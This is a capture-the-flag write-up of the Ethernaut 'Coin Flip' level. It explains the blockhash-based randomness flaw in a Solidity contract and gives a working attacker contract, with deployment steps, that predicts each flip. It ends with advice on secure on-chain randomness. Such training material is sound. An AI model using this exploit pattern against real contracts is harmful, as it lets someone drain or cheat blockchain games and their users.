Ethernaut#3 - Coin Flip

Ethernaut #3 - Coin Flip

#3

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Contract Breakdown

Let us breakdown the contract to understand what each function and piece of code does. The code consists of a single contract CoinFlip compiled with solidity version ^0.8.0.

Variables
1
2
3
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

consecutiveWins is a public variable that tracks how many correct guesses we have made in a row. lastHash stores the blockhash from the previous flip to prevent multiple flips in the same block. The FACTOR is a very large number, specifically 2^255, which is used to divide the blockhash and essentially reduce it to either 0 or 1.

Constructor
1
2
3
constructor() {
consecutiveWins = 0;
}

The constructor simply initializes consecutiveWins to 0.

Functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}

The flip function takes in a boolean _guess which is our prediction of the coin flip result. It computes blockValue from the blockhash of the previous block. If lastHash equals the current blockValue, it reverts, meaning we can only flip once per block. Then it divides the blockValue by FACTOR to get either 0 or 1, which determines the side of the coin. If our guess matches, consecutiveWins is incremented, otherwise it resets to 0.

Solution

The vulnerability here is that the “randomness” is entirely deterministic. The contract uses blockhash(block.number - 1) which is publicly available information on the blockchain. There is nothing random about it.

The key insight is that if we compute the coin flip result in the same block as the flip call, we will always know the answer.

Since block.number is the same for all transactions within a block, we can deploy an attacker contract that pre-calculates the flip and then calls the CoinFlip contract with the correct guess.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract HackCoinFlip {
ICoinFlip coinFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _coinFlipAddress) {
coinFlip = ICoinFlip(_coinFlipAddress);
}

function hackFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 flip = blockValue / FACTOR;
bool side = flip == 1 ? true : false;

coinFlip.flip(side);
}
}

Steps to pass:

  • Copy the HackCoinFlip contract to Remix and compile it.
  • Deploy it with the CoinFlip instance address from Ethernaut.
  • Call hackFlip() 10 times, once per block. You have to wait for each transaction to be mined before sending the next one.
  • After 10 successful calls, our consecutiveWins will be 10 and the challenge is passed.

Never rely on block variables like block.number, block.timestamp, or blockhash for randomness in smart contracts. Miners and other contracts can predict or manipulate these values. For true randomness on-chain, use an oracle like Chainlink VRF.